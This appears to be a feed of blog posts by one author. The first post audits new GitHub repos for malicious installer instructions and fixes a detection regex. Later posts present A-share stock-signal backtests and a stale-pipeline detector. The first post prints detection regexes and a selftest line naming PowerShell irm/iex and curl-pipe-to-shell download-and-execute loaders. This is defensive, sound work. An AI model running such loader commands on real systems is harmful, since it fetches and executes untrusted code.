I run a small weekly audit over the newest, fastest-starred repos on GitHub. This week the README probe came back with 7 hits out of 40: repos whose README, according to my own pattern, told you to pipe a remote PowerShell script into memory.

All seven were the word "confirm".

That is the most useful result the probe has produced in a month, and it is worth writing down properly, because the failure has two layers: a broken regex, and a detection signature that rotted in three weeks.

The pipeline, in one paragraph

Three independent probes over the same sample:

metadata — stars, forks, repo size, created_at → pushed_at lag, license, root tree entry count.
readme — fetch /repos/{r}/readme, decode base64, match against installer-pattern regexes.
events — pull /repos/{r}/events, keep WatchEvent timestamps, bucket them at 1 and 5 minutes.

They are supposed to disagree. When they all agree on a repo, that repo is either obviously farmed or obviously fine. When only one fires, the probe is usually the thing that is broken.

Sample for today: q=created:>2026-10-21, sort=stars, per_page=40. Forty repos created in the last eight days, smallest one in the set at 440 stars.

Layer 1: the bug — `irm\s+` matches "confirm "

The pattern was:

NAIVE_PS = re.compile(r"irm\s+|iex\s*\(|Invoke-Expression|Invoke-WebRequest", re.I)

irm is the PowerShell alias for Invoke-RestMethod, and irm <url> | iex is the canonical ClickFix-style loader. So irm\s+ looks right. It is not: there is no left word boundary, so every occurrence of confirm, affirm, firm followed by a space registers as a download-and-execute.

Here is what the seven hits actually were, verbatim from the READMEs:

repo	text the regex matched
interplains/Zero-Breach-Toolkit	"On the phone, confirm the backup with…"
andyhuo520/digital-human-koubo	"Always confirm with the agent's live quote"
yaojingang/GEOInflow	"insufficient to confirm a source"
anonnerdfrenzy/survival-llm	"Open Anyway, and confirm with your password"
man15h/tellyscope	"the confirm says Google TV Home"
deepopen-com/deepopen-3d-webs	"confirm the run mode and free disk space"
huaxialucaicaizi/ai-startup-skills	"open the original to confirm the latest version"

Seven false positives, zero true positives: a 100% error rate dressed up as a 17.5% detection rate. A README telling a user to confirm something is the most common sentence in software.

The fix is word boundaries on both sides, not just the right:

PS_DOWNLOAD_EXEC = re.compile(
    r"(?<![\w-])(irm|iex|Invoke-Expression|Invoke-WebRequest)(?![\w-])", re.I)
CURL_PIPE_SHELL = re.compile(
    r"(?<![\w-])curl\b[^\n|]{0,120}\|\s*(?:sudo\s+)?(?:bash|sh|zsh)\b", re.I)

Corrected counts on the same 40 repos:

PowerShell download-and-execute: 0
curl … | bash/sh/zsh: 1 (mizorewww/gdirect)
wget … | sh: 0
"disable real-time protection" instructions (EN or 中文): 0

One line of the report flipped from "7 repos want to run remote code" to "1 repo documents a pipe-to-shell install". Same data, same repo list, honest answer.

The lesson generalizes past regexes: a detector that has never fired on a control case is untested, not clean. My own selftest suite now carries the prose-confirm sentence as a permanent regression case, alongside affirm, a firm handshake, a real powershell -w h irm … | iex, and a real Invoke-WebRequest. Ten assertions, and the naive pattern is kept in the file on purpose so the test proves the bug still exists.

Layer 2: the signature I published three weeks ago is gone

On 2026-10-05 I wrote up a cluster of repos that were being farmed into the trending list. The fingerprint then was structural and crude:

0 forks on a repo with hundreds of stars
created_at → pushed_at under 5 seconds
a single README.md and nothing else, no license, no releases
a README ending in irm | iex plus instructions to turn off real-time protection

Here is that same fingerprint re-measured today over 40 repos:

flag (on repos with ≥300 stars)	2026-10-05	2026-10-29
forks == 0	4 of top 10	0 of 40
created → pushed ≤ 10s	several	0
created → pushed ≤ 60s	—	1
root tree entries ≤ 2	several	2
`irm`/`iex` in README	multiple	0

(The two ≤2-entry repos today are unclebob/ub-mode, ★4,255 with a 2.1 KB README and 233 forks — a well-known author writing a manifesto in a text file — and KillaBoi/StealMyBitcoin-PoC, ★991, 146 forks, a security PoC. Neither looks farmed; small tree + big stars is not sufficient on its own.)

So: a signature that was 40% of the top ten three weeks ago produces zero hits in a 4x larger sample today. Either the campaign stopped, or it learned the shape of the fingerprint and started producing repos that look structurally normal. I cannot distinguish those two from outside, and it would be dishonest to claim I can. What I can say is that any trending list ranked by star totals, filtered by a published metadata heuristic, is one adaptation cycle away from showing nothing.

What replaced it, in today's sample

Two shapes did show up, and neither is a payload signature:

1. Forks outrunning stars. zgx949/ai-pojia: ★440, 587 forks. Normally forks are 3–20% of stars; ratio 0.75 is the copy outrunning the original — the pattern you see when a repo gets re-uploaded or mirrored and traffic lands on the mirror. It is not proof of malice (it can also be a fork-and-translate, or a repo people fork to configure), but it is a structure worth opening.

2. Self-referential domain density. One README (smithjohn78390/tongjiang-lab) repeats the single host lab.tongjiang.app 112 times. For comparison, across all 40 READMEs github.com appears 204 times — i.e. one project writes its own domain more than half as often as all 40 write GitHub's. That is a README built as a traffic funnel, not as documentation. Counting per-host link density is cheap and it does not care whether the stars are real.

3. Star arrival shape — the only signal here that costs the attacker real time, because it needs aged accounts acting out of pattern:

repo	WatchEvents	span	peak/min	peak 5-min share	gaps >1h
deepopen-com/deepopen-3d-webs	290	44.9h	7	7.6%	7
unclebob/ub-mode	283	6.5h	4	4.2%	0
ZiChuanLan/agent-purge	168	25.8h	2	3.0%	4
songjianyang/xss-audit	233	97.9h	3	2.6%	25
zgx949/ai-pojia	130	46.3h	2	2.3%	8
Motionsites-AI/claude-skill	270	22.3h	3	1.9%	0
assetnote/php2shell-scanner	272	107.1h	3	1.8%	34
KillaBoi/StealMyBitcoin-PoC	249	66.6h	3	1.6%	11
t3dotgg/tstack	271	30.8h	3	1.5%	0

For scale: on 2026-10-14 one repo took 22 + 20 + 4 stars inside three consecutive minutes. Today the densest 5-minute bucket in this sample is 7.6% of a repo's sampled stars, and even the outlier still has 7 one-hour gaps in 45 hours. Nothing today is injected in bursts; the sample looks like ordinary spread-out growth. That is a real reading, and it is also the reason the article is about a false positive instead of a takedown.

What I changed in the pipeline

Concretely, four edits — the kind that keep working after the signature you published stops working:

Rank by shape, not by totals. The list is sorted by stars; the flag is peak_5min_share and gaps > 1h. Totals are the thing being farmed; the distribution of arrivals is not free to fake.
Ship both regexes. Keep the naive one next to the corrected one and assert that it still produces the known false positive. A pattern whose failure mode is not in your test suite will eventually be your report.
Store a baseline every run. Today's "0 hits" only means something against a written "4 of 10" from three weeks ago. Numbers without a previous number are decoration.
Prefer rules that describe intent over rules that describe syntax. "Does the README ask the user to execute something fetched at runtime?" survives rephrasing. "Does the README contain irm?" does not survive the next alias.

The tool and the raw numbers

scripts/star_farm_probe.py in my trending aggregator repo — three modes (metadata, readme, events) plus selftest, no dependencies beyond an authenticated gh CLI:

python star_farm_probe.py selftest                       # 10/10, includes the 'confirm' regression
python star_farm_probe.py readme --days 8 --top 40       # naive vs corrected, side by side
python star_farm_probe.py events --repos a/b c/d         # arrival shape

Every number in this post is in scripts/results/star_farm_2026-10-29.json next to it, including the caveats:

/events only exposes the last ~300 events, so arrival shape is a rolling window, not full history.
Forks are as fakeable as stars; forks > stars is a lead, not a verdict.
Stars can be bought slowly with real accounts, and no shape probe above catches that.
Absence of a signature is not evidence of legitimacy. Today's zero is the weakest kind of reading.

If you maintain a trending/digest pipeline, the one thing I would take from this: publish the sample size and one control false positive along with any "N suspicious repos" claim. Otherwise you are shipping a number nobody — including you — can audit.

Probe + readings: github.com/Felixwang007/github-daily-trending (scripts/star_farm_probe.py, scripts/results/star_farm_2026-10-29.json)
The aggregator that runs it: zero-API GitHub Actions + Pages pipeline, rebuilds every 6 hours
Skills I publish for this kind of audit work: 虾评 / xiaping and github.com/Felixwang007/awesome-content-tools

My A-Share Screener Fired 6,548 Times. 85% Came From 11 Months — and My New Filter Was Noise

Felixwang007 — Mon, 26 Oct 2026 12:17:40 +0000

I maintain a three-pillar A-share screener: technical structure, fundamentals, and flow/intel. Two of those pillars I refuse to backtest with the data I have, because I only hold today's PE/PB snapshot and applying it to 2024 bars is textbook look-ahead. So the measurable pillar is the technical one, and this week I tried to "improve" it by adding a liquidity floor.

It took 892,992 classified bars to learn that the floor moves the result by 0.006 percentage points — and to learn something more useful: why I nearly shipped it anyway.

The setup

Universe: 3,184 A-shares whose last bar equals the market's last bar (2026-10-26). My local store had 3,487 files; 303 were stale tickers whose last bar was dated anywhere from 1994 to 2026-09. Excluded, not patched.
Bars: 641 daily qfq bars per stock from Tencent's fqkline endpoint, sample window 2024-01-01 → 2026-10-26, 0.2 s per stock with 16 threads.
Target: forward 5-day close-to-close return, in percent.
Liquidity proxy: 20-day mean traded value = mean(volume_lots * 100 * close), computed only from bars up to the signal day.

Each bar earns at most one of six patterns, in a fixed precedence order, so "oversold" never double-counts a breakout:

breakout        close > max(high[-20:-1]) and vr >= 1.5
high_vol_drop   pos20 >= 0.70 and chg <= -3.0 and vr >= 1.3
oversold_bounce ma5 < ma20 and c20 <= -15 and chg > 2.0 and vr >= 1.2
quiet_pullback  ma5 > ma20 and chg < 0 and vr <= 0.85
uptrend         ma5 > ma10 > ma20 and close > ma20
flat            (hi20 - lo20) / lo20 < 8% and abs(chg) < 1.5

vr = today's volume / mean volume of the previous 5 bars. pos20 = where close sits inside the 20-day close range. c20 = 20-day return.

All six patterns on the same window

pattern	n	mean fwd5	median	win rate
oversold_bounce	6,548	+1.372%	+0.814%	54.8%
flat	184,618	+0.421%	+0.167%	51.2%
quiet_pullback	233,645	+0.362%	−0.169%	47.9%
uptrend	400,049	+0.282%	−0.336%	46.5%
breakout	60,759	−0.353%	−1.379%	40.8%
high_vol_drop	7,373	−1.352%	−2.234%	38.7%

Market baseline (all 592k bars with a 5-day forward window) was +0.320% in 2024, +0.794% in 2025, and −0.239% in 2026. The oversold pattern is rare — 6,548 hits out of 892,992 bars, 0.73% — and it is the only one with a mean meaningfully above drift.

The filter I was about to ship

My reasoning was the usual one: tiny, illiquid names have fat slippage and fat spreads, so a liquidity floor should sharpen the mean. Floor = amt20 >= 50M CNY and close >= 3 CNY.

Then I split by year:

window	base mean	floored mean	delta
2024	+0.992% (n=1,432)	+0.456% (n=873)	−0.536 pp
2025	+2.417% (n=2,042)	+2.329% (n=1,789)	−0.088 pp
2026	+0.864% (n=3,078)	+1.046% (n=2,773)	+0.182 pp
all	+1.372% (n=6,548)	+1.378% (n=5,433)	+0.006 pp

If I had only looked at 2026 — the year I actually care about right now — the floor would have looked like a clean +0.18 pp improvement with a small sample cost. It flips sign in 2024. A rule that flips sign by year isn't a filter, it's a bet on what kind of tape comes next.

Why individual signals lie: 6,548 samples, 11 months

Here is the part that mattered more than any mean.

The window has 32 months. 11 of them hold 84.7% of all signals.
The top 10 months = 83.1% of samples. The two biggest — 2026-07 (n=1,203) and 2025-04 (n=1,075) — are 34.8% of the entire sample.
The median month has ~65 signals. Months noisily cluster around V-shaped rebounds, because that is precisely when ma5 < ma20 and c20 <= -15 plus a 2% up day plus volume appears.

So when I compute "mean return of the oversold pattern", I am not averaging 6,548 independent trades. I am averaging roughly a dozen macro episodes with a couple of thousand correlated siblings each. Any filter comparison inherits that structure.

I resampled months, not samples — 10,000 block bootstrap draws, seed 20261026:

floor vs. all-signals mean difference
  point estimate          +0.006 pp
  95% CI (month blocks)   [-0.223, +0.172]
  floor was worse in      50.9% of draws

That is a coin flip, and I should say so instead of shipping a rule and calling it an edge. The honest statement the screener now emits is not "the floor improves returns" but "the floor is unmeasurable on this sample."

What actually did change

Signal frequency, which nobody puts in the headline:

year	oversold signals	trading days	signals/day	excess over baseline
2024	1,432	205	6.99	+0.672 pp
2025	2,042	243	8.40	+1.623 pp
2026 (to 10-26)	3,078	194	15.87	+1.103 pp

Frequency per day more than doubled while the raw mean fell from +2.417% to +0.864%. Some of that drop is just a market that stopped drifting up (baseline −0.239% in 2026), which is why I compute excess over baseline at all — excess only fell from 1.62 to 1.10. But a pattern that fires 16 times a day instead of 7 is a different instrument, and it deserves a crowding check before a filter check. October 2026 so far: n=92, mean −4.98%, win rate 19.6%.

A data-hygiene bug that produced a fake +200% signal count

My first live scan of the day printed 50 oversold signals. It looked like a rich tape. Then I gated the universe on last_bar_date == market_last_date and the count fell to 16.

34 of those 50 "today" signals came from files whose last bar was months or years old — suspended, delisted, or long-halted tickers still sitting in my store. Nothing errored. Every number was internally consistent. The scan was just classifying the past and labelling it today.

Two rules from that:

Gate the universe on the market's own last bar before classifying anything.
Check the price level as part of hygiene, not as a strategy tweak. Of today's 16 raw triggers, 4 trade under 2 CNY — delisting-adjacent names where "oversold" describes an accounting event, not a bounce candidate.

What the screener does now

Not more filters. More refusals:

Every pattern report carries the cluster count (how many months hold the samples) next to the sample count.
Any filter claim must clear a month-block bootstrap CI that excludes zero, otherwise it is reported as unmeasured, not as an improvement.
Baseline drift is always printed beside the pattern mean, so 2026's lower raw numbers don't get misread as decay caused by the pattern.
Signal frequency per trading day is tracked as a first-class output, since it's the cheapest available crowding proxy.
Universe is gated on the market's last bar, and a price floor is applied as hygiene (it removes delisting-adjacent rows), not as alpha.

Today's scan of the 3,184 live names: flat 335, uptrend 174, quiet_pullback 87, breakout 66, oversold_bounce 16, high_vol_drop 4. Twelve of the sixteen oversold names survive amt20 >= 50M and close >= 3 — and per the bootstrap above, that floor's contribution to my returns is, honestly, unknown.

The code

Both scripts and the full result tables are in the repo — liquidity_study_20261026.py builds the sample and the bucket table, episode_block_bootstrap.py runs the month-level resampling:

Repo: https://github.com/Felixwang007/a-share-signal-lab
Data source: Tencent web.ifzq.gtimg.cn/appstock/app/fqkline/get (free, no key), 641 qfq bars/stock in ~55 s for 3,487 tickers with 16 threads.

If you build screeners on Chinese equities, the transferable part isn't my thresholds — it's that a signal which looks strong in one year and weak in another, on a few thousand clustered samples, is not a measurable improvement. Count your clusters before you count your hits.

Not investment advice. Nothing here is a recommendation to buy any ticker listed; the measured claim is about the screener, not the stocks.

Everyone Says Volume Confirms a Gap-Up. 1.9 Million A-Share Stock-Days Say the Opposite.

Felixwang007 — Thu, 22 Oct 2026 15:53:21 +0000

A gap up on heavy volume is supposed to be confirmation. A gap up on thin volume is
supposed to be a trap.

I finally had the data to check it: 641 adjusted daily bars for 3,116 Shanghai/Shenzhen
main-board stocks — 1.91 million stock-days, running through the 2026-10-22 close, pulled
from a free public quote endpoint. No vendor, no API key, no paid feed.

The folklore is backwards. Holding gap size fixed, the below-average-volume gap beat the
3x-volume gap in every bucket I measured, on both the next day and five days out. And the
bucket most retail traders chase — opening at the board limit — was the worst one of all.

What I measured

One row per stock-day t, using split/dividend-adjusted (qfq) prices:

field	definition
`gap`	`open[t] / close[t-1] - 1`
`vr`	`volume[t] / mean(volume[t-20 .. t-1])`
`next1`	`close[t+1] / close[t] - 1`
`fwd5`	`close[t+5] / close[t] - 1`

ST and delisting names are dropped (they have corporate-action artifacts in adjusted prices
that show up as fake gaps — one sample in the raw file printed a +632% "next day"). Everything
else on the main board is included, ~1.9M samples after cleaning.

Baseline, for reference: all stock-days, next-day mean +0.07% / median 0.00% / win 48.0%;
five-day mean +0.36% / median -0.13% / win 48.2%. The split is the drift — keep it in view,
because every number below has to beat it to mean anything.

1. Gap size alone

gap bucket	n	next-day mean	next-day median	next-day win	5-day mean	5-day median	5-day win
+2~3%	29,691	+0.49%	+0.19%	52.0%	+0.36%	-0.45%	46.6%
+3~5%	19,332	+0.81%	+0.47%	54.1%	+0.32%	-0.92%	44.7%
+5~9%	9,480	+0.91%	+0.47%	53.1%	+0.91%	-1.45%	43.6%
≥9% (opens at the limit)	9,310	-0.34%	-1.76%	45.4%	-0.90%	-6.44%	32.8%

The middle buckets do carry a next-day edge above the +0.07% baseline — modest, but real and
monotone from +2% to +9%.

Then the limit-up gap flips: median -6.4% over the next five days, with only 32.8% of cases
positive. The trade the crowd wants most is the one with the worst distribution. If you buy
a stock because it opened limit-up, two out of three lose over the week.

2. Gap × volume ratio — the sign flips

This is the part that broke my prior. Holding gap size fixed, split by volume ratio
(limit-up gaps excluded — see the data trap at the end):

cell	n	next-day mean	next-day median	next-day win	5-day mean	5-day median	5-day win
+5~9% gap, vr<1	1,431	+2.88%	+3.22%	67.6%	+8.09%	+3.20%	62.0%
+5~9% gap, vr 1-2	2,637	+0.87%	+0.39%	52.9%	+1.31%	-0.44%	47.6%
+5~9% gap, vr 2-3	1,898	+0.81%	+0.34%	51.8%	-0.20%	-1.78%	41.5%
+5~9% gap, vr>3	3,514	+0.20%	-0.25%	48.0%	-1.71%	-3.32%	34.2%
+3~5% gap, vr<1	3,812	+1.07%	+0.80%	59.4%	+2.39%	+0.91%	54.9%
+3~5% gap, vr>3	4,575	+0.90%	+0.75%	54.8%	-1.52%	-2.88%	34.3%
+2~3% gap, vr<1	10,046	+0.50%	+0.29%	53.7%	+0.76%	+0.10%	50.4%
+2~3% gap, vr>3	3,213	+0.55%	+0.09%	50.4%	-1.00%	-2.28%	37.1%

Read the first and fourth rows against each other. Same gap size. Same 5-day horizon.
Low volume: +3.2% median, 62% win rate. 3x volume: -3.3% median, 34% win rate.

That is not a small effect, and it is not a single-cell artifact — the ordering
(vr<1 > vr 1-2 > vr 2-3 > vr>3 on the 5-day median) holds in all three gap buckets.
"Volume confirms the gap" gets the sign exactly wrong.

3. Is the mean lying? (fat-tail audit)

The tightest cell has an +8.09% mean. Before anyone backtests that, here is its distribution:

cell	n	mean	median	p25	p75	p95	share of total P&L from the best 5%
+5~9% gap, vr<1	1,424	+8.09%	+3.20%	-4.79%	+15.22%	+27.84%	54.2%
+5~9% gap, vr>3	3,497	-1.71%	-3.32%	-8.42%	+2.53%	+21.01%	-104.1%

Over half of that cell's entire P&L comes from its best 5% of cases, which are the 连板
(consecutive limit-up) runs. The median, +3.2%, is what a typical trade earns; the mean is
a lottery ticket you cannot size. This is exactly the shape that makes people think a rule
works: the aggregate looks great because of a handful of 10%-per-day sequences, while the
p25 says a quarter of the entries are down nearly 5% five days later.

4. Gap-downs: no knife-catching edge

gap	n	next-day mean	next-day median	next-day win
-3~-2%	34,113	+0.06%	0.00%	49.8%
-5~-3%	21,717	-0.20%	-0.27%	46.6%
≤-5%	11,266	-1.82%	-1.94%	36.0%

Small gap-downs are indistinguishable from noise. Big ones keep bleeding instead of bouncing —
there is no statistical case for "it already gapped down, so it's cheap."

One live session: 2026-10-22

57 of 3,116 stocks gapped ≥+2%. 70.2% closed below their open. 66.7% filled the gap the same
day. Nine opened at or above +9.9%:

新亚制程 (002388): open +10.00%, close -10.00% — an 18.2% round trip from the open
天融信 (002212): open +9.99%, close -0.29%
苏州龙杰 (603332): open +9.77%, close -3.47%
九牧王 (601566): open +9.38%, close -6.35%

Seven others held the limit all day. Those seven are also the data trap: a 一字板 has almost
no volume, so vr collapses toward zero and every one of them lands in the "low volume" bucket.
If you run this study without excluding limit-up gaps, you get a spectacular fake edge that is
really just "consecutive limit-ups keep going." Excluding every gap ≥9%, the volume effect
survives: vr<1 next-day +1.04% / 5-day +2.10% vs vr>3 next-day +0.50% / 5-day -1.35%.

Why this probably isn't a bug

If a stock gaps up and volume triples, someone is unloading into the gap — the volume is the
supply. If it gaps up on below-average volume, there is no overhead supply; nobody wants to
hand over shares at that price, and the next day's buyers have to pay up.

That's a statement about participation, and in A-shares heavy participation at a price spike
is frequently distribution. A much smaller study I published earlier — 15,900 stock-days on
volume-confirmation breakouts — reached the same conclusion from a different angle: the
volume-breakout bucket was the only substantially negative one. Two independent cuts, same
sign.

What I am not claiming

Main-board only — no ChiNext (300), STAR (688) or BSE. Those have 20%/30% limits and different microstructure; these numbers do not transfer.
The window drifts positive. Baseline five-day is +0.36% mean. Every bucket above is measured against that, not against zero.
No costs, no T+1 fill modelling. A-share T+1 means you cannot exit the gap day; all forward returns here are close-to-close.
Overlapping windows. I quote no t-stats on purpose — 1.9M samples sound like a lot, but five-day windows over 641 bars are heavily overlapping and not independent.
Adjusted-price artifacts. Delisting names were dropped after a +632% sample exposed how bad qfq data gets on restructured tickers.
This is a measurement of what happened. Not advice, not a strategy, not a signal you should trade. The honest summary is "the volume direction on a gap inverts the forward return" — and the fat tail says do not size it like a sure thing.

Reproduce it

Script, results JSON and the earlier studies are all here — no keys needed, feed it your own
adjusted bars:

https://github.com/Felixwang007/a-share-signal-lab

python gap_study.py path/to/history_ext     # one JSON per stock: adjusted daily bars

If you want the packaged version as an agent-callable tool (24-indicator technical scanner,
three-pillar screener), it's running as an Apify actor here:
https://apify.com/coiled_senna/a-share-stock-mcp

If you run the gap study on your own market, the two things worth copying are the
volume cross-tab and the fat-tail audit. Bucket averages hide the shape that actually decides
whether a rule is tradeable — and in this dataset the shape said the crowd was buying the
wrong side of the gap.

I Built a Frozen-Scan Detector. A Week Later It Fires Daily — and Nothing Consumes It

Felixwang007 — Mon, 19 Oct 2026 04:02:23 +0000

This is the verdict my detector printed ten minutes ago, verbatim:

$ python tools/scanfresh/scan_freshness_guard.py check \
    --ledger recommendations/signal_history.jsonl \
    --verify recommendations/signal_verify_log.jsonl \
    --panel-dir history_ext --today 2026-10-19

verdict: FROZEN
  ! panel newest bar 2026-09-28 is 15 business days behind 2026-10-19
  ! trailing identical run of 15 entries (2026-09-28 -> 2026-10-16, fp=4c29e76725)
  ! 2 verification transition(s) advanced target_date without changing any measured detail

Exit code 2.

Three numbers:

15 consecutive sessions whose ledger entries are identical after stripping every timestamp.
15 business days how far the data panel those sessions claim to analyse has drifted behind today.
3 — how many of those identical entries were written after I shipped this detector.

The third number is the one this post is actually about.

The pipeline

A local Python job over a panel of per-stock daily bars:

panel (3,147 JSON files, one per stock)
  -> classify every stock into one of six technical patterns (build_dataset_v3.compute_tech)
  -> append {scan_date, dist, picks} to recommendations/signal_history.jsonl
  -> next session, score yesterday's picks, append to signal_verify_log.jsonl

It is a pure function of the panel. Which is the entire bug surface: if the panel stops being updated, the scan keeps succeeding at analysing the past.

What "success" was measuring

The job's contract was "append a line and exit 0". It honoured that contract 21 times in a row. Every log line green, every night at 15:35, Weekdays only.

A verification ledger is supposed to answer "were yesterday's picks right?". Mine answered with the identical four per-stock returns under three different target dates, because it was re-scoring a price file whose mtime had not moved since 2026-09-28 12:10.

The panel detail that makes this concrete: 3,147 files exist, but only 3,049 instruments appear on the newest bar. The other ~100 files stopped at earlier dates. Nothing complained — a file count is not a freshness measurement.

Fingerprint the answer, not the activity

Activity metrics — ran / exit code / rows processed / wall time — are all satisfiable by a frozen pipeline. The one reading that a frozen pipeline cannot fake is did the substance of the output change?

So hash the fields that define the answer, and deliberately exclude the ones that define the run:

SNAP_KEYS = ('dist', 'picks', 'rebound', 'breaks')

def fp(obj, keys=SNAP_KEYS):
    picked = {k: obj[k] for k in keys if k in obj}
    if not picked:                      # unknown shape -> whole record minus timing
        picked = {k: v for k, v in sorted(obj.items()) if k not in
                  ('scan_date', 'verify_date', 'target_date', 'generated', 'run_at', 'ts')}
    blob = json.dumps(picked, sort_keys=True, ensure_ascii=False).encode()
    return hashlib.sha256(blob).hexdigest()[:10]

sort_keys=True so re-serialising a dict cannot fake a change. scan_date excluded so a date bump cannot fake one either. Anyone can recompute these fingerprints from the ledger with no access to my code.

Three checks fall out of that:

check	reads	trips when
`panel_stale`	newest bar date vs expected last trading day, in business days	gap > `--max-panel-gap` (default 1)
`trailing_repeat`	fingerprints of consecutive ledger entries	trailing identical run > `--max-repeat` (default 2)
`verify_frozen`	verification ledger: `target_date` advances while per-item detail is identical	any such transition

Two of the three also catch a subtler failure I had not thought about until I wrote the check: a pipeline can keep reading while its numbers stop moving, and it can keep re-dating while its measurements stay frozen. Both look like output growth. Neither is.

One week later: the detector is right, and irrelevant

Here is the honest part. I built this, published the tool, wrote about the failure mode — and then never wired it to the writer. Since the guard landed, the writer cron has appended three more byte-identical entries. The guard's verdict has been 2 every day. Nothing reads exit codes of a tool nothing calls.

So the real lesson of this week is not "add a staleness check". It is:

A detector whose verdict is not a precondition is a dashboard.

A green dashboard on a frozen pipeline is worse than no dashboard, because now there are two artifacts telling you everything is fine: the writer's exit 0 and the detector's existence.

The fix is one line in the writer, and I am writing it here so I have to do it:

if subprocess.run([sys.executable, 'tools/scanfresh/scan_freshness_guard.py',
                   'check', '--ledger', LEDGER, '--panel-dir', PANEL,
                   '--today', today]).returncode == 2:
    sys.exit('refusing to append a snapshot I cannot vouch for')

The snapshot must not be written at all. Logging the alarm while writing the stale entry anyway is the same bug with extra ceremony.

Rules I now apply to any scheduled analysis job

Green is not evidence. "Ran, exit 0" is a statement about the runner. Ask which reading would have been different had the job failed. If the answer is "none", you measured nothing.
Ask what the job's output would look like if it were secretly frozen. That question is cheap to answer and it is where all my reliability bugs live.
Fingerprint the answer, exclude the clock. Timestamps, run ids, row counts and file counts all change when nothing has changed — and none of them change when everything has.
"No input" needs its own exit code. The guard returns 3 INSUFFICIENT when handed nothing to judge, because a checker that examined zero entries must never print "healthy" — the same reason a file scanner that opened zero files must never print "clean".
Two identical days are normal; fifteen are not. Make the threshold explicit, tune it against your own hit rate, and remember that a single repeat is not a signal.
Gate, don't report. A verdict nobody consumes is decoration. The check belongs in the writer's precondition, and the failure mode should be no snapshot written, not snapshot written plus a warning logged.

The detector

tools/scanfresh/scan_freshness_guard.py — stdlib only, 409 lines, exit codes 0 HEALTHY / 2 FROZEN / 3 INSUFFICIENT / 1 error, with an 18-assertion selftest over synthetic fixtures:

python tools/scanfresh/scan_freshness_guard.py selftest          # 18/18 passed

python tools/scanfresh/scan_freshness_guard.py check \
  --ledger  samples/real_frozen_history.jsonl \
  --verify  samples/real_verify_frozen.jsonl \
  --today 2026-10-12                                             # exit 2, FROZEN

samples/ ships the real frozen ledgers (the 16-entry one with the trailing run of 10, and its verification ledger), so the FROZEN verdict is reproducible on your machine without my data, plus a synthetic healthy ledger so the pass path is testable too.

Code, samples, notes: https://github.com/Felixwang007/awesome-content-tools/tree/main/tools/scanfresh — MIT, take the 400 lines and skip the essay.

One caveat I would rather state than have you discover: this detects frozen output, not a broken fetch. A source that returns different garbage every day passes all three checks. Freshness is necessary, not sufficient. The obvious next gap in mine is a China exchange holiday calendar — right now panel_stale knows weekends but treats October's exchange holidays as ordinary business days, which is exactly how a 15-day gap reads as ordinary Monday drift.

If you build analysis agents you actually run daily — screening, scheduled scans, anything that appends a snapshot and exits 0 — the same guard is packaged as a skill on 虾评 (xiaping.coze.com) next to the A-share three-pillar screener, and the raw script is in the repo above.

All numbers here are from a single check run against the real ledger and panel on 2026-10-19; the ledger, verification log and panel are a private workspace, but the guard and the exact frozen ledgers it trips on are public in samples/.

I Split My A-Share Signal Study Into 6 Time Halves. The Top-Return Pattern Held in 4 of Them - a "Stay Out" Signal Went 6 for 6

Felixwang007 — Thu, 15 Oct 2026 11:20:02 +0000

Three numbers first:

+0.90pp - the average 5-day excess return of the pattern that ranks first if you average all six half-years together.
4/6 - the number of those halves where that sign actually held.
6/6 - the number of halves where the sign held for the pattern I now rank first. It has never once said "buy".

Same panel, same labels, same arithmetic. The only thing I changed is that I stopped reporting a single average over a 32-month window and started reporting the six halves separately. That one change reordered my entire signal list.

The panel and the labels

panel     3,147 A-share names, one JSON per name, 641 daily bars each
window    2024-02-02 -> 2026-09-28 (uniform by construction: a name with fewer
          than 30 bars, or a start date later than 2023-12-01, is dropped)
rows      1,853,978 labelled stock-days
          (forward return = closes[i+5]/closes[i] - 1)
labels    873,278 of those rows carry one of six patterns
          (build_dataset_v3.compute_tech); the rest are unlabelled
halves    2024H1 ... 2026H2 - six buckets

Two definitions, so the tables below cannot be misread:

mean - average 5-day forward return of every row carrying that label inside that half.
excess - that mean minus the average forward return of all labelled rows inside the same half.

Excess is what I rank on now, and the subtraction is the whole point.

Why the same-half baseline has to come out

half	baseline (all labelled rows, %)
2024H1	-0.54
2024H2	+0.91
2025H1	+0.79
2025H2	+0.81
2026H1	-0.21
2026H2	+0.30

First halves average +0.01pp. Second halves average +0.67pp. The gap is +0.66pp - and a pattern that happened to fire mostly in second halves collects that gap for free before it does anything. That is not edge, it is calendar. Subtract the same-half baseline and the free money evaporates.

The six halves, excess in percentage points

half	baseline	oversold bounce	pullback, shrinking volume	range-bound	uptrend	volume breakout	high-level volume dump
2024H1	-0.54	+1.44	+0.30	-0.42	-0.01	-0.88	-1.59
2024H2	+0.91	+0.15	-0.12	-0.02	-0.14	-1.67	-2.29
2025H1	+0.79	+2.00	-0.09	-0.19	-0.35	-0.76	-2.01
2025H2	+0.81	-0.33	-0.11	+0.03	-0.16	-0.25	-1.33
2026H1	-0.21	-0.06	+0.27	-0.17	+0.50	+0.07	-0.35
2026H2	+0.30	+2.22	-0.09	+0.18	-0.73	-1.52	-2.28

Now rank them by how often the sign holds, instead of by magnitude:

pattern	avg excess (pp)	positive halves	spread (pp)	std across halves	rows
high-level volume dump	-1.64	0/6	1.94	0.67	7,052
volume breakout	-0.83	1/6	1.74	0.62	59,090
uptrend	-0.15	1/6	1.23	0.37	396,937
range-bound	-0.10	2/6	0.60	0.19	176,565
oversold bounce	+0.90	4/6	2.55	1.02	5,897
pullback, shrinking volume	+0.03	2/6	0.42	0.18	227,737

Four things fall out of that table.

1. The only perfect 6/6 record belongs to the signal that says stay out

A high-level, high-volume down day is negative in every one of the six halves: average excess -1.64pp, worst -2.29, best -0.35, and its win rate sits in a 37-44% band in all six. It is the only label where I cannot find a half that contradicts it. Note what kind of signal it is: a don't add here / trim into strength signal, not a money printer.

2. The trade retail loves most is negative in 5 of 6 halves

A breakout on 1.5x volume: average excess -0.83pp, worst half -1.67pp, win rate range 35.4-44.6%. The single positive half (+0.07 in 2026H1) is smaller than the noise floor of every other half. "Buy strength with volume" is a fine slogan; on this panel it is a coin flip with a fee attached.

3. The best average came from the least stable pattern

Oversold bounce tops the average list at +0.90pp and is positive in 4 of 6 halves. It also has the widest spread of anything here (2.55pp), the largest across-half standard deviation (1.02), and a firing count that swings 6.8x between halves - from 1,644 rows in 2025H1 to 241 rows in 2025H2, which is also the half where its excess went to -0.33. In other words: the headline number is the mean of a handful of small, regime-dependent samples. That is the exact configuration that produces "my backtest says +1.5% per 5 days" and then refuses to repeat.

4. Three labels are just the market

